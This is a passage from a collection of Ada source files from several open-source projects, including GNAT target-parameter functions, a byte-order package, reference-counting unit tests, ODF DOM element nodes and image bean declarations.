function Get_Bits_Per_Word return Pos is
begin
return 32;
end Get_Bits_Per_Word;
-------------------
-- Get_Char_Size --
-------------------
function Get_Char_Size return Pos is
begin
return 8;
end Get_Char_Size;
----------------------
-- Get_Wchar_T_Size --
----------------------
function Get_Wchar_T_Size return Pos is
begin
return 16;
end Get_Wchar_T_Size;
--------------------
-- Get_Short_Size --
--------------------
function Get_Short_Size return Pos is
begin
return 16;
end Get_Short_Size;
------------------
-- Get_Int_Size --
------------------
function Get_Int_Size return Pos is
begin
return 32;
end Get_Int_Size;
-------------------
-- Get_Long_Size --
-------------------
function Get_Long_Size return Pos is
begin
return 64;
end Get_Long_Size;
------------------------
-- Get_Long_Long_Size --
------------------------
function Get_Long_Long_Size return Pos is
begin
return 64;
end Get_Long_Long_Size;
-----------------------------
-- Get_Long_Long_Long_Size --
-----------------------------
function Get_Long_Long_Long_Size return Pos is
begin
return 64;
end Get_Long_Long_Long_Size;
----------------------
-- Get_Pointer_Size --
----------------------
function Get_Pointer_Size return Pos is
begin
return 64;
end Get_Pointer_Size;
---------------------------
-- Get_Maximum_Alignment --
---------------------------
function Get_Maximum_Alignment return Pos is
begin
return 4;
end Get_Maximum_Alignment;
------------------------
-- Get_Float_Words_BE --
------------------------
function Get_Float_Words_BE return Nat is
begin
return 1;
end Get_Float_Words_BE;
------------------
-- Get_Words_BE --
------------------
function Get_Words_BE return Nat is
begin
return 1;
end Get_Words_BE;
------------------
-- Get_Bytes_BE --
------------------
function Get_Bytes_BE return Nat is
begin
return 1;
end Get_Bytes_BE;
-----------------
-- Get_Bits_BE --
-----------------
function Get_Bits_BE return Nat is
begin
return 1;
end Get_Bits_BE;
---------------------
-- Get_Short_Enums --
---------------------
function Get_Short_Enums return Int is
begin
return 0;
end Get_Short_Enums;
--------------------------
-- Get_Strict_Alignment --
--------------------------
function Get_Strict_Alignment return Nat is
begin
return 1;
end Get_Strict_Alignment;
------------------------------------
-- Get_System_Allocator_Alignment --
------------------------------------
function Get_System_Allocator_Alignment return Nat is
begin
return 1;
end Get_System_Allocator_Alignment;
--------------------------------
-- Get_Double_Float_Alignment --
--------------------------------
function Get_Double_Float_Alignment return Nat is
begin
return 0;
end Get_Double_Float_Alignment;
---------------------------------
-- Get_Double_Scalar_Alignment --
---------------------------------
function Get_Double_Scalar_Alignment return Nat is
begin
return 0;
end Get_Double_Scalar_Alignment;
-----------------------------
-- Get_Max_Unaligned_Field --
-----------------------------
function Get_Max_Unaligned_Field return Pos is
begin
return 64; -- Can be different on some targets
end Get_Max_Unaligned_Field;
-----------------------------
-- Register_Back_End_Types --
-----------------------------
procedure Register_Back_End_Types (Call_Back : Register_Type_Proc) is
Float_Str : C_String := (others => ASCII.NUL);
Double_Str : C_String := (others => ASCII.NUL);
begin
Float_Str (Float_Str'First .. Float_Str'First + 4) := "float";
Call_Back
(C_Name => Float_Str, Digs => 6, Complex => False, Count => 0,
Float_Rep => IEEE_Binary,
Precision => 32, Size => 32, Alignment => 32);
Double_Str (Double_Str'First .. Double_Str'First + 5) := "double";
Call_Back
(C_Name => Double_Str,
Digs => 15,
Complex => False,
Count => 0,
Float_Rep => IEEE_Binary,
Precision => 64,
Size => 64,
Alignment => 64);
end Register_Back_End_Types;
------------------------------
-- Get_Back_End_Config_File --
------------------------------
function Get_Back_End_Config_File return String_Ptr is
function Exec_Name return String;
-- Return name of the current executable (from argv[0])
function Get_Target_File (Dir : String) return String_Ptr;
-- Return Dir & "target.atp" if found, null otherwise
---------------
-- Exec_Name --
---------------
function Exec_Name return String is
type Arg_Array is array (Nat) of Big_String_Ptr;
type Arg_Array_Ptr is access all Arg_Array;
gnat_argv : Arg_Array_Ptr;
pragma Import (C, gnat_argv);
begin
for J in 1 .. Natural'Last loop
if gnat_argv (0) (J) = ASCII.NUL then
return gnat_argv (0) (1 .. J - 1);
end if;
end loop;
raise Program_Error;
end Exec_Name;
---------------------
-- Get_Target_File --
---------------------
function Get_Target_File (Dir : String) return String_Ptr is
F : constant String := Dir & "target.atp";
begin
if Is_Regular_File (F) then
return new String'(F);
else
return null;
end if;
end Get_Target_File;
Exec : constant String := Exec_Name;
-- Start of processing for Get_Back_End_Config_File
begin
if Is_Absolute_Path (Exec) then
return Get_Target_File (Dir_Name (Exec));
else
return Get_Target_File (Dir_Name (Locate_Exec_On_Path (Exec).all));
end if;
end Get_Back_End_Config_File;
end Get_Targ;
|
JeremyGrosser/clock3 | Ada | 647 | ads | with SAMD21.Device;
with Seven;
package Clock is
Display_1 : access Seven.Device := new Seven.Device
(Port => SAMD21.Device.I2C_1'Access, Address => 2#01110000#);
Display_2 : access Seven.Device := new Seven.Device
(Port => SAMD21.Device.I2C_1'Access, Address => 2#01110001#);
Display_3 : access Seven.Device := new Seven.Device
(Port => SAMD21.Device.I2C_1'Access, Address => 2#01110011#);
UTC_Hour, EST_Hour, PST_Hour : Natural;
Minute, Second : Natural;
function Hour_Offset
(UTC : Integer;
Offset : Integer)
return Integer;
procedure Initialize;
procedure Update;
end Clock;
|
Componolit/libsparkcrypto | Ada | 2,760 | adb | -------------------------------------------------------------------------------
-- This file is part of libsparkcrypto.
--
-- Copyright (C) 2010, Alexander Senier
-- Copyright (C) 2010, secunet Security Networks AG
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
--
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
--
-- * Neither the name of the nor the names of its contributors may be used
-- to endorse or promote products derived from this software without
-- specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
-- BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
with LSC.Internal.Byteswap32;
package body LSC.Internal.Byteorder32 is
function Native_To_BE (Item : Types.Word32) return Types.Word32
is
begin
return Byteswap32.Swap (Item);
end Native_To_BE;
---------------------------------------------------------------------------
function Native_To_LE (Item : Types.Word32) return Types.Word32
is
begin
return Item;
end Native_To_LE;
---------------------------------------------------------------------------
function BE_To_Native (Item : Types.Word32) return Types.Word32
is
begin
return Byteswap32.Swap (Item);
end BE_To_Native;
---------------------------------------------------------------------------
function LE_To_Native (Item : Types.Word32) return Types.Word32
is
begin
return Item;
end LE_To_Native;
end LSC.Internal.Byteorder32;
|
faelys/natools | Ada | 16,095 | adb | ------------------------------------------------------------------------------
-- Copyright (c) 2013-2014, Natacha Porté --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
with Ada.Calendar;
with Ada.Exceptions;
with Natools.References.Tools;
package body Natools.Reference_Tests is
package Tools is new Refs.Tools;
procedure Check_Ref
(Report : in out NT.Reporter'Class;
Name : in String;
Ref : in Refs.Reference;
Expected_Count : in Natural;
Continue : in out Boolean);
-- Check the given reference and report failure if any
-- Do nothing if Continue is False
procedure Check_Consistency
(Report : in out NT.Reporter'Class;
Name : in String;
Left, Right : in Refs.Reference;
Continue : in out Boolean);
-- Check consistency between two reference and report if failed
-- Do nothing if Continue is False
procedure Check_Count
(Report : in out NT.Reporter'Class;
Name : in String;
Expected_Count : in Integer;
Continue : in out Boolean);
-- Check instance count and report failure if any
-- Do nothing if Continue is False
--------------------
-- Object counter --
--------------------
function Factory return Counter is
begin
Instance_Count := Instance_Count + 1;
return Counter'(Ada.Finalization.Limited_Controlled with
Instance_Number => Instance_Count);
end Factory;
overriding procedure Initialize (Object : in out Counter) is
begin
Instance_Count := Instance_Count + 1;
Object.Instance_Number := Instance_Count;
end Initialize;
overriding procedure Finalize (Object : in out Counter) is
pragma Unreferenced (Object);
begin
Instance_Count := Instance_Count - 1;
end Finalize;
------------------------
-- Helper subprograms --
------------------------
procedure Check_Consistency
(Report : in out NT.Reporter'Class;
Name : in String;
Left, Right : in Refs.Reference;
Continue : in out Boolean) is
begin
if Continue and then not Tools.Is_Consistent (Left, Right) then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Inconsistent references found");
Continue := False;
end if;
end Check_Consistency;
procedure Check_Count
(Report : in out NT.Reporter'Class;
Name : in String;
Expected_Count : in Integer;
Continue : in out Boolean) is
begin
if not Continue then
return;
end if;
if Instance_Count < 0 then
NT.Item (Report, Name, NT.Fail);
NT.Info
(Report,
"Invalid Instance_Count " & Integer'Image (Instance_Count));
Continue := False;
elsif Instance_Count /= Expected_Count then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Unexpected Instance_Count"
& Integer'Image (Instance_Count)
& " instead of"
& Integer'Image (Expected_Count));
Continue := False;
end if;
end Check_Count;
procedure Check_Ref
(Report : in out NT.Reporter'Class;
Name : in String;
Ref : in Refs.Reference;
Expected_Count : in Natural;
Continue : in out Boolean)
is
Actual_Count : constant Integer := Tools.Count (Ref);
begin
if not Continue then
return;
end if;
if not Tools.Is_Valid (Ref) then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Invalid internal state for reference");
Continue := False;
elsif Actual_Count /= Expected_Count then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report,
"Unexpected reference count"
& Natural'Image (Actual_Count)
& " instead of"
& Natural'Image (Expected_Count));
Continue := False;
elsif not Ref.Is_Empty and then Ref.Is_Last /= (Actual_Count = 1) then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report,
"Unexpected result of Is_Last ("
& Boolean'Image (Ref.Is_Last)
& ") while counter is"
& Natural'Image (Actual_Count));
Continue := False;
end if;
end Check_Ref;
--------------------
-- Invidual tests --
--------------------
procedure Test_Data_Access (Report : in out NT.Reporter'Class) is
Argument_Count : Natural;
Result : Boolean;
procedure Check (Self : in Counter);
procedure Set (Self : in out Counter);
procedure Check (Self : in Counter) is
begin
Result := Argument_Count = Self.Instance_Number;
Argument_Count := Self.Instance_Number;
end Check;
procedure Set (Self : in out Counter) is
begin
Self.Instance_Number := Argument_Count;
end Set;
Name : constant String := "Data access";
begin
declare
Ref_1 : Refs.Reference := Refs.Create (Factory'Access);
Ref_2 : Refs.Reference;
begin
Ref_2.Replace (Factory'Access);
Argument_Count := 42;
Ref_2.Update (Set'Access);
Ref_1.Update.Data.Instance_Number := 18;
Argument_Count := 18;
Ref_1.Query (Check'Access);
if not Result then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Stored 18, retrieved"
& Integer'Image (Argument_Count));
return;
end if;
Ref_1.Reset;
Argument_Count := Ref_2.Query.Data.Instance_Number;
if Argument_Count /= 42 then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Stored 42, retrieved"
& Integer'Image (Argument_Count));
return;
end if;
end;
NT.Item (Report, Name, NT.Success);
exception
when Error : others => NT.Report_Exception (Report, Name, Error);
end Test_Data_Access;
procedure Test_Double_Finalize (Report : in out NT.Reporter'Class) is
Name : constant String := "Double finalize";
Initial_Count : constant Integer := Instance_Count;
Continue : Boolean := True;
begin
declare
Ref : Refs.Reference := Refs.Create (Factory'Access);
begin
Ref.Finalize;
end;
Check_Count (Report, Name, Initial_Count, Continue);
if Continue then
NT.Item (Report, Name, NT.Success);
end if;
exception
when Error : others => NT.Report_Exception (Report, Name, Error);
end Test_Double_Finalize;
procedure Test_Implicit_Dereference (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Implicit dereference");
Other_Number : constant Integer := 123;
procedure Set_Number (Object : in out Counter);
procedure Set_Number (Object : in out Counter) is
begin
Object.Instance_Number := Other_Number;
end Set_Number;
begin
declare
Ref : constant Refs.Reference := Refs.Create (Factory'Access);
Original_Number : constant Natural := Ref.Query.Instance_Number;
begin
Set_Number (Ref.Update);
Ref.Update.Instance_Number := Original_Number;
end;
exception
when Error : others => Test.Report_Exception (Error);
end Test_Implicit_Dereference;
procedure Test_Instance_Counts (Report : in out NT.Reporter'Class) is
Name : constant String := "Instance counts";
Initial_Count : constant Integer := Instance_Count;
Continue : Boolean := True;
begin
declare
procedure Check (Count_0, Count_1, Count_2, Delta_I : in Integer);
Ref_0 : Refs.Reference := Refs.Create (Factory'Access);
Ref_1 : Refs.Reference := Refs.Create (Refs.Data_Access'(null));
Ref_2 : Refs.Reference;
procedure Check (Count_0, Count_1, Count_2, Delta_I : in Integer) is
begin
Check_Ref (Report, Name, Ref_0, Count_0, Continue);
Check_Ref (Report, Name, Ref_1, Count_1, Continue);
Check_Ref (Report, Name, Ref_2, Count_2, Continue);
Check_Consistency (Report, Name, Ref_0, Ref_1, Continue);
Check_Consistency (Report, Name, Ref_1, Ref_2, Continue);
Check_Consistency (Report, Name, Ref_2, Ref_0, Continue);
Check_Count (Report, Name, Initial_Count + Delta_I, Continue);
end Check;
begin
Check (1, 0, 0, 1);
if Continue then
Ref_1 := Refs.Create (new Counter);
end if;
Check (1, 1, 0, 2);
if Continue then
Ref_2 := Ref_0;
end if;
Check (2, 1, 2, 2);
if Continue then
Ref_1 := Ref_0;
end if;
Check (3, 3, 3, 1);
if Continue then
Ref_2.Replace (new Counter);
end if;
Check (2, 2, 1, 2);
if Continue then
Ref_1.Reset;
Ref_0 := Ref_1;
end if;
Check (0, 0, 1, 1);
end;
Check_Count (Report, Name, Initial_Count, Continue);
if Continue then
NT.Item (Report, Name, NT.Success);
end if;
exception
when Error : others => NT.Report_Exception (Report, Name, Error);
end Test_Instance_Counts;
procedure Test_Reference_Counts (Report : in out NT.Reporter'Class) is
Name : constant String := "Reference counts";
Initial_Count : constant Integer := Instance_Count;
Continue : Boolean := True;
begin
declare
procedure Check (Count_0, Count_1, Count_2 : in Integer);
Ref_0 : constant Refs.Reference := Refs.Create (Factory'Access);
Ref_1 : Refs.Reference := Ref_0;
Ref_2 : Refs.Reference;
procedure Check (Count_0, Count_1, Count_2 : in Integer) is
begin
Check_Ref (Report, Name, Ref_0, Count_0, Continue);
Check_Ref (Report, Name, Ref_1, Count_1, Continue);
Check_Ref (Report, Name, Ref_2, Count_2, Continue);
Check_Consistency (Report, Name, Ref_0, Ref_1, Continue);
Check_Consistency (Report, Name, Ref_1, Ref_2, Continue);
Check_Consistency (Report, Name, Ref_2, Ref_0, Continue);
end Check;
begin
Check (2, 2, 0);
if Continue then
Ref_2 := Ref_0;
end if;
Check (3, 3, 3);
if Continue then
Refs.Reset (Ref_1);
end if;
Check (2, 0, 2);
end;
Check_Count (Report, Name, Initial_Count, Continue);
if Continue then
NT.Item (Report, Name, NT.Success);
end if;
exception
when Error : others => NT.Report_Exception (Report, Name, Error);
end Test_Reference_Counts;
procedure Test_Reference_Tests (Report : in out NT.Reporter'Class) is
Name : constant String := "Reference tests";
Initial_Count : constant Integer := Instance_Count;
Continue : Boolean := True;
begin
declare
use type Refs.Reference;
Ref : Refs.Reference;
Base : constant Refs.Reference := Refs.Create (Factory'Access);
begin
if not Ref.Is_Empty then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Default reference is not empty");
return;
end if;
if Base.Is_Empty then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Created reference is empty");
return;
end if;
Ref.Replace (Factory'Access);
if Ref.Is_Empty then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Replaced reference is empty");
return;
end if;
if Ref = Base then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Unexpected equality between Ref and Base");
return;
end if;
Ref := Base;
if Ref /= Base then
NT.Item (Report, Name, NT.Fail);
NT.Info (Report, "Unexpected inequality between Ref and Base");
return;
end if;
end;
Check_Count (Report, Name, Initial_Count, Continue);
if Continue then
NT.Item (Report, Name, NT.Success);
end if;
exception
when Error : others => NT.Report_Exception (Report, Name, Error);
end Test_Reference_Tests;
procedure Test_Task_Safety (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Task safety");
Success : Boolean := True;
protected Protected_Report is
procedure Report_Exception (Ex : Ada.Exceptions.Exception_Occurrence);
end Protected_Report;
protected body Protected_Report is
procedure Report_Exception
(Ex : Ada.Exceptions.Exception_Occurrence) is
begin
Test.Report_Exception (Ex, NT.Fail);
end Report_Exception;
end Protected_Report;
task type Checker is
entry Start (Count : in Natural; Ref : in Refs.Immutable_Reference);
end Checker;
task body Checker is
Starting_Value, Last : Natural;
R : Refs.Immutable_Reference;
begin
accept Start (Count : in Natural; Ref : in Refs.Immutable_Reference)
do
Last := Count;
R := Ref;
end Start;
Starting_Value := R.Query.Data.Instance_Number;
for I in 1 .. Last loop
declare
Temp : constant Refs.Immutable_Reference := R;
begin
if Temp.Query.Data.Instance_Number /= Starting_Value then
Success := False;
end if;
end;
end loop;
exception
when Error : others =>
Protected_Report.Report_Exception (Error);
end Checker;
Start : constant Ada.Calendar.Time := Ada.Calendar.Clock;
begin
declare
Base : constant Refs.Immutable_Reference
:= Refs.Create (Factory'Access);
begin
declare
Checkers : array (1 .. 16) of Checker;
begin
for I in Checkers'Range loop
Checkers (I).Start (10 ** 6, Base);
end loop;
end;
if not Success then
Test.Fail ("Success somehow got to False");
end if;
end;
Test.Info ("Test run in "
& Duration'Image (Ada.Calendar."-" (Ada.Calendar.Clock, Start)));
exception
when Error : others =>
Test.Report_Exception (Error);
Test.Info ("Test run in "
& Duration'Image (Ada.Calendar."-" (Ada.Calendar.Clock, Start)));
end Test_Task_Safety;
---------------------
-- Test everything --
---------------------
procedure All_Tests (Report : in out NT.Reporter'Class) is
begin
Test_Data_Access (Report);
Test_Double_Finalize (Report);
Test_Implicit_Dereference (Report);
Test_Instance_Counts (Report);
Test_Reference_Counts (Report);
Test_Reference_Tests (Report);
end All_Tests;
end Natools.Reference_Tests;
|
reznikmm/matreshka | Ada | 6,860 | adb | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Matreshka.DOM_Documents;
with Matreshka.ODF_String_Constants;
with ODF.DOM.Iterators;
with ODF.DOM.Visitors;
package body Matreshka.ODF_Form.Properties_Elements is
------------
-- Create --
------------
overriding function Create
(Parameters : not null access Matreshka.DOM_Elements.Element_L2_Parameters)
return Form_Properties_Element_Node is
begin
return Self : Form_Properties_Element_Node do
Matreshka.ODF_Form.Constructors.Initialize
(Self'Unchecked_Access,
Parameters.Document,
Matreshka.ODF_String_Constants.Form_Prefix);
end return;
end Create;
----------------
-- Enter_Node --
----------------
overriding procedure Enter_Node
(Self : not null access Form_Properties_Element_Node;
Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class;
Control : in out XML.DOM.Visitors.Traverse_Control) is
begin
if Visitor in ODF.DOM.Visitors.Abstract_ODF_Visitor'Class then
ODF.DOM.Visitors.Abstract_ODF_Visitor'Class
(Visitor).Enter_Form_Properties
(ODF.DOM.Form_Properties_Elements.ODF_Form_Properties_Access
(Self),
Control);
else
Matreshka.DOM_Elements.Abstract_Element_Node
(Self.all).Enter_Node (Visitor, Control);
end if;
end Enter_Node;
--------------------
-- Get_Local_Name --
--------------------
overriding function Get_Local_Name
(Self : not null access constant Form_Properties_Element_Node)
return League.Strings.Universal_String
is
pragma Unreferenced (Self);
begin
return Matreshka.ODF_String_Constants.Properties_Element;
end Get_Local_Name;
----------------
-- Leave_Node --
----------------
overriding procedure Leave_Node
(Self : not null access Form_Properties_Element_Node;
Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class;
Control : in out XML.DOM.Visitors.Traverse_Control) is
begin
if Visitor in ODF.DOM.Visitors.Abstract_ODF_Visitor'Class then
ODF.DOM.Visitors.Abstract_ODF_Visitor'Class
(Visitor).Leave_Form_Properties
(ODF.DOM.Form_Properties_Elements.ODF_Form_Properties_Access
(Self),
Control);
else
Matreshka.DOM_Elements.Abstract_Element_Node
(Self.all).Leave_Node (Visitor, Control);
end if;
end Leave_Node;
----------------
-- Visit_Node --
----------------
overriding procedure Visit_Node
(Self : not null access Form_Properties_Element_Node;
Iterator : in out XML.DOM.Visitors.Abstract_Iterator'Class;
Visitor : in out XML.DOM.Visitors.Abstract_Visitor'Class;
Control : in out XML.DOM.Visitors.Traverse_Control) is
begin
if Iterator in ODF.DOM.Iterators.Abstract_ODF_Iterator'Class then
ODF.DOM.Iterators.Abstract_ODF_Iterator'Class
(Iterator).Visit_Form_Properties
(Visitor,
ODF.DOM.Form_Properties_Elements.ODF_Form_Properties_Access
(Self),
Control);
else
Matreshka.DOM_Elements.Abstract_Element_Node
(Self.all).Visit_Node (Iterator, Visitor, Control);
end if;
end Visit_Node;
begin
Matreshka.DOM_Documents.Register_Element
(Matreshka.ODF_String_Constants.Form_URI,
Matreshka.ODF_String_Constants.Properties_Element,
Form_Properties_Element_Node'Tag);
end Matreshka.ODF_Form.Properties_Elements;
|
MinimSecure/unum-sdk | Ada | 875 | ads | -- Copyright 2008-2016 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 3 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program. If not, see <http://www.gnu.org/licenses/>.
package Pck is
First : Character := ASCII.NUL;
Last : Character := ASCII.NUL;
Length : Integer := 0;
procedure Call_Me (Str : String);
end Pck;
|
stcarrez/ada-awa | Ada | 3,064 | ads | -----------------------------------------------------------------------
-- awa-images-beans -- Image Ada Beans
-- Copyright (C) 2016, 2018, 2019 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Strings.Unbounded;
with Util.Beans.Objects;
with Util.Beans.Basic;
with AWA.Storages.Beans;
with AWA.Images.Models;
with AWA.Images.Modules;
-- == Ada Beans ==
-- The `Image_List_Bean` type is used to represent a list of image stored in
-- a folder.
--
-- The `Image_Bean` type holds all the data to give information about an image.
--
-- @include-bean images.xml
-- @include-bean image-info.xml
-- @include-bean image-list.xml
package AWA.Images.Beans is
-- ------------------------------
-- Image List Bean
-- ------------------------------
-- This bean represents a list of images for a given folder.
type Image_List_Bean is new AWA.Storages.Beans.Storage_List_Bean with record
-- List of images.
Image_List : aliased AWA.Images.Models.Image_Info_List_Bean;
Image_List_Bean : AWA.Images.Models.Image_Info_List_Bean_Access;
end record;
type Image_List_Bean_Access is access all Image_List_Bean'Class;
-- Load the list of images associated with the current folder.
overriding
procedure Load_Files (Storage : in out Image_List_Bean);
overriding
function Get_Value (List : in Image_List_Bean;
Name : in String) return Util.Beans.Objects.Object;
-- Create the Image_List_Bean bean instance.
function Create_Image_List_Bean (Module : in AWA.Images.Modules.Image_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
-- ------------------------------
-- Image Bean
-- ------------------------------
-- Information about an image (excluding the image data itself).
type Image_Bean is new AWA.Images.Models.Image_Bean with record
Module : AWA.Images.Modules.Image_Module_Access;
end record;
type Image_Bean_Access is access all Image_Bean'Class;
overriding
procedure Load (Into : in out Image_Bean;
Outcome : in out Ada.Strings.Unbounded.Unbounded_String);
-- Create the Image_Bean bean instance.
function Create_Image_Bean (Module : in AWA.Images.Modules.Image_Module_Access)
return Util.Beans.Basic.Readonly_Bean_Access;
end AWA.Images.Beans;
|
reznikmm/matreshka | Ada | 4,568 | adb | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Matreshka.DOM_Documents;
with Matreshka.ODF_String_Constants;
with ODF.DOM.Iterators;
with ODF.DOM.Visitors;
package body Matreshka.ODF_Style.Wrap_Attributes is
------------
-- Create --
------------
overriding function Create
(Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters)
return Style_Wrap_Attribute_Node is
begin
return Self : Style_Wrap_Attribute_Node do
Matreshka.ODF_Style.Constructors.Initialize
(Self'Unchecked_Access,
Parameters.Document,
Matreshka.ODF_String_Constants.Style_Prefix);
end return;
